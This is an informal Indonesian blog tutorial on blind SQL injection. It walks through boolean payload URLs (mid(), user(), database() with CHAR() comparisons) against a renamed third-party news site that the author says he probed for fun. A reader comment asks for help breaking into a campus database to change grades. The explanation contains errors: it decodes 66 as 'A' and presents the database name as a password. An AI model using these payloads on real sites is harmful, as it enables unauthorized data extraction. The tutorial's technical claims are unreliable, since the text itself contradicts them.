Social Icons

Pages

Senin, 23 Februari 2009

Blind SQL Injection

Saya akan mencoba menjelaskan semudah mungkin tentang Blind SQL Injection yang saya anggap rumit banget... Bukannya sok ngajarin atau apalah, disini saya hanya berusaha memberikan apa yang saya punya dan saya bisa...

Oke, bermula dari kangennya saya pada yayank ampe akhirnya saking kangennya tangan ini bergerak untuk mencari dan mencari (HeHeHe…maksa banget alasannya…). Akhirnya tanpa sengaja saya nyangkut ke situs luar...Anggep aja situs tersebut bernama http://www.YogyaFreeMakassar.com/news.php?id=90232

Nah pada target saya kali ini, saya menggunakan sql commands mid() yang hampir sama fungsinya dengan substring()...

Langsung aja saya ketik

http://www.YogyaFreeMakassar.com/news.php?id=90232 and 1=0

dan ternyata hasilnya adalah FALSE

http://www.YogyaFreeMakassar.com/news.php?id=90232 and 1=1

bernilai TRUE

Nah setelah saya yakin kalo web tersebut vulnerable maka saya injeksi a.k.a suntik (hehehe...)

http://www.YogyaFreeMakassar.com/news.php?id=90232 and mid(user(),1,1)=CHAR(65)

Nah penjelasannya supaya semua pada ngerti (hehehehe...orang saya juga baru belajar, sok ngasih tau mode ON BANGET...) saya akan coba menjelaskan arti dan makna dari baris URL dan statement diatas...

mid(user()1,1) artinya dalam kasus ini saya tidak mengetahui value atau nilai dari user itu apa, maka dalam "()" saya sengaja kosongkan.

1,1 adalah urutan dari value tersebut.

CHAR adalah perubah dalam desimal

65 adalah value decimal tersebut dan 65 adalah "A" dalam ASCII jadi… saya akan mengawalinya dengan 65

Nah kalo dah begini apa yang akan terjadi…??? Dalam tampilan web tersebut akan terjadi true atau false...Nah dalam kasus ini false, berarti saya harus memasukkan nilai yang lain agar menjadi true...

TRUE

http://www.YogyaFreeMakassar.com/news.php?id=90232 and mid(user(),1,1)=CHAR(65)

TRUE

http://www.YogyaFreeMakassar.com/news.php?id=90232 and mid(user(),1,1)=CHAR(66)

Ternyata pada kasus ini web yang di isengi ini memiliki true (enaknya kalau webnya kek gini...HeHeHe...) dan nilai tersebut adalah 65 dan 66 (A dan B dalam ASCII) Cari nilai kedua dan caranya adalah...

http://www.YogyaFreeMakassar.com/news.php?id=90232 and mid(user(),1,2)=CHAR(66,65)

Nah 1,1 nya dah diganti dengan 1,2...Jadi kalo dah dapet diganti aja jadi 1,3...1,4 dan seterusnya...

Nah akhirnya saya mendapat nilai true pada angka ke 66 (A dalam ASCII)

Lanjutin aja sampe dapet nilai atau value user itu habis tersisa (Jaaat banget main habis tersisa…!!!)

dan sampai akhirnya menjadi

http://www.YogyaFreeMakassar.com/news.php?id=90232 and mid(user(),1,4)=CHAR(65,66,66,72)

kita urut hasil kita (serasa seperti sekolah main angka²an…HeHeHe)

65 = A

66 = B

66 = A

72 = H

Ternyata username-nya adalah ABAH (HeHeHe... Kebetulan yang sangat dipaksakan). Nah untuk cari passwordnya saya tinggal mengganti value user() menjadi database() dan lakukan semua tahap diatas dari pertama sampe dapet value true...

Contoh:

http://www.YogyaFreeMakassar.com/news.php?id=90232 and mid

mid(database(),1,13)=CHAR(83,65,89,65,78,71,72,69,76,76,72,65,71)

Jadi password yang didapat adalah...

83 = S

65 = A

89 = Y

65 = A

78 = N

71 = G

72 = H

69 = E

76 = L

76 = L

72 = H

65 = A

71 = G

Jadi username dan passwordnya adalah ABAH dan SAYANGHELLHAG...HaHaHa…enak ya kalau gini WaKaKa…

Ternyata Blind SQL Injection gak nyebel-nyebelin amat (Tapi ngebetein...). Nah katanya neh...cara ini cukup efektif untuk web yang telah menfilter SQL Injection...Bener gak tuh? Gak tau dah... Ilmu saya belom nyampe situ...

Berikut adalah konversi ascii ke decimal

Char Code Description

9 Tab

10 Line feed

13 Carriage return

' ' 32 Space

! 33 Exclamation mark

" 34 Quotation mark

# 35 Number sign

$ 36 Dollar sign

% 37 Percent sign

& 38 Ampersand

' 39 Apostrophe

( 40 Left parenthesis

) 41 Right parenthesis

* 42 Asterisk

+ 43 Plus sign

, 44 Comma

- 45 Hyphen-minus

. 46 Full stop

/ 47 Solidus

0 48 Digit zero

1 49 Digit one

2 50 Digit two

3 51 Digit three

4 52 Digit four

5 53 Digit five

6 54 Digit six

7 55 Digit seven

8 56 Digit eight

9 57 Digit nine

: 58 Colon

; 59 Semicolon

< 60 Less-than sign

= 61 Equals sign

> 62 Greater-than sign

? 63 Question mark

@ 64 Commercial at

A 65 Latin capital letter A

B 66 Latin capital letter B

C 67 Latin capital letter C

D 68 Latin capital letter D

E 69 Latin capital letter E

F 70 Latin capital letter F

G 71 Latin capital letter G

H 72 Latin capital letter H

I 73 Latin capital letter I

J 74 Latin capital letter J

K 75 Latin capital letter K

L 76 Latin capital letter L

M 77 Latin capital letter M

N 78 Latin capital letter N

O 79 Latin capital letter O

P 80 Latin capital letter P

Q 81 Latin capital letter Q

R 82 Latin capital letter R

S 83 Latin capital letter S

T 84 Latin capital letter T

U 85 Latin capital letter U

V 86 Latin capital letter V

W 87 Latin capital letter W

X 88 Latin capital letter X

Y 89 Latin capital letter Y

Z 90 Latin capital letter Z

[ 91 Left square bracket

92 Reverse solidus

] 93 Right square bracket

^ 94 Circumflex accent

_ 95 Low line

` 96 Grave accent

a 97 Latin small letter a

b 98 Latin small letter b

c 99 Latin small letter c

d 100 Latin small letter d

e 101 Latin small letter e

f 102 Latin small letter f

g 103 Latin small letter g

h 104 Latin small letter h

i 105 Latin small letter i

j 106 Latin small letter j

k 107 Latin small letter k

l 108 Latin small letter l

m 109 Latin small letter m

n 110 Latin small letter n

o 111 Latin small letter o

p 112 Latin small letter p

q 113 Latin small letter q

r 114 Latin small letter r

s 115 Latin small letter s

t 116 Latin small letter t

u 117 Latin small letter u

v 118 Latin small letter v

w 119 Latin small letter w

x 120 Latin small letter x

y 121 Latin small letter y

z 122 Latin small letter z

{ 123 left curly bracket

| 124 Vertical line

} 125 Right curly bracket

~ 126 Tilde

a 127 (not used)

? 128 Euro sign Currency Symbols

? 129 (not used)

? 130 Single low-9 quotation mark General Punctuation

? 131 Latin small letter f with hook Latin Extended-B

? 132 Double low-9 quotation mark General Punctuation

? 133 Horizontal ellipsis General Punctuation

? 134 Dagger General Punctuation

? 135 Double dagger General Punctuation

? 136 Modifier letter circumflex accent Spacing Modifier Letters

? 137 Per mille sign General Punctuation

? 138 Latin capital letter S with caron Latin Extended-A

? 139 Single left-pointing angle quotation mark General Punctuation

? 140 Latin capital ligature OE Latin Extended-A

? 141 (not used)

? 142 Latin capital letter Z with caron Latin Extended-A

? 143 (not used)

? 144 (not used)

? 145 Left single quotation mark General Punctuation

? 146 Right single quotation mark General Punctuation

? 147 Left double quotation mark General Punctuation

? 148 Right double quotation mark General Punctuation

? 149 Bullet General Punctuation

? 150 En dash General Punctuation

? 151 Em dash General Punctuation

? 152 Small tilde Spacing Modifier Letters

? 153 Trade mark sign Letterlike Symbols

? 154 Latin small letter s with caron Latin Extended-A

? 155 Single right-pointing angle quotation mark General Punctuation

? 156 Latin small ligature oe Latin Extended-A

? 157 (not used)

? 158 Latin small letter z with caron Latin Extended-A

? 159 Latin capital letter Y with diaeresis Latin Extended-A

160 No-break space

? 161 Inverted exclamation mark

? 162 Cent sign

? 163 Pound sign

? 164 Currency sign

? 165 Yen sign

? 166 Broken bar

? 167 Section sign

? 168 Diaeresis

? 169 Copyright sign

? 170 Feminine ordinal indicator

? 171 Left-pointing double angle quotation mark

? 172 Not sign

? 173 Soft hyphen

? 174 Registered sign

? 175 Macron

? 176 Degree sign

? 177 Plus-minus sign

? 178 Superscript two

? 179 Superscript three

? 180 Acute accent

? 181 Micro sign

? 182 Pilcrow sign

? 183 Middle dot

? 184 Cedilla

? 185 Superscript one

? 186 Masculine ordinal indicator

? 187 Right-pointing double angle quotation mark

? 188 Vulgar fraction one quarter

? 189 Vulgar fraction one half

? 190 Vulgar fraction three quarters

? 191 Inverted question mark

? 192 Latin capital letter A with grave

? 193 Latin capital letter A with acute

? 194 Latin capital letter A with circumflex

? 195 Latin capital letter A with tilde

? 196 Latin capital letter A with diaeresis

? 197 Latin capital letter A with ring above

? 198 Latin capital letter AE

? 199 Latin capital letter C with cedilla

? 200 Latin capital letter E with grave

? 201 Latin capital letter E with acute

? 202 Latin capital letter E with circumflex

? 203 Latin capital letter E with diaeresis

? 204 Latin capital letter I with grave

? 205 Latin capital letter I with acute

? 206 Latin capital letter I with circumflex

? 207 Latin capital letter I with diaeresis

? 208 Latin capital letter Eth

? 209 Latin capital letter N with tilde

? 210 Latin capital letter O with grave

? 211 Latin capital letter O with acute

? 212 Latin capital letter O with circumflex

? 213 Latin capital letter O with tilde

? 214 Latin capital letter O with diaeresis

? 215 Multiplication sign

? 216 Latin capital letter O with stroke

? 217 Latin capital letter U with grave

? 218 Latin capital letter U with acute

? 219 Latin capital letter U with circumflex

? 220 Latin capital letter U with diaeresis

? 221 Latin capital letter Y with acute

? 222 Latin capital letter Thorn

? 223 Latin small letter sharp s

? 224 Latin small letter a with grave

? 225 Latin small letter a with acute

? 226 Latin small letter a with circumflex

? 227 Latin small letter a with tilde

? 228 Latin small letter a with diaeresis

? 229 Latin small letter a with ring above

? 230 Latin small letter ae

? 231 Latin small letter c with cedilla

? 232 Latin small letter e with grave

? 233 Latin small letter e with acute

? 234 Latin small letter e with circumflex

? 235 Latin small letter e with diaeresis

? 236 Latin small letter i with grave

? 237 Latin small letter i with acute

? 238 Latin small letter i with circumflex

? 239 Latin small letter i with diaeresis

? 240 Latin small letter eth

? 241 Latin small letter n with tilde

? 242 Latin small letter o with grave

? 243 Latin small letter o with acute

? 244 Latin small letter o with circumflex

? 245 Latin small letter o with tilde

? 246 Latin small letter o with diaeresis

? 247 Division sign

? 248 Latin small letter o with stroke

? 249 Latin small letter u with grave

? 250 Latin small letter u with acute

? 251 Latin small letter with circumflex

? 252 Latin small letter u with diaeresis

? 253 Latin small letter y with acute

? 254 Latin small letter thorn

? 255 Latin small letter y with diaeresis



Baca juga artikel menarik lainnya :

1 komentar:

  1. ka anak gorontalo yee???
    ka kasih tau donk cara buat masuk database kampus..
    saya anak gorontalo yang kuliah di luar gorontalo..
    kemaren nilai saya jelek semua...
    tolong kasih tau ya ke email saya.. anklau@ymail.com.

    #gorontalo bisa olo.

    BalasHapus

 
Jual Chip Poker Paket ID
25M = Rp. 75.000
50M = Rp. 140.000
100M = Rp. 250.000

Kontak Person:
YM = adriantojusuf
SMS Only = 081244438282
Info lengkap..!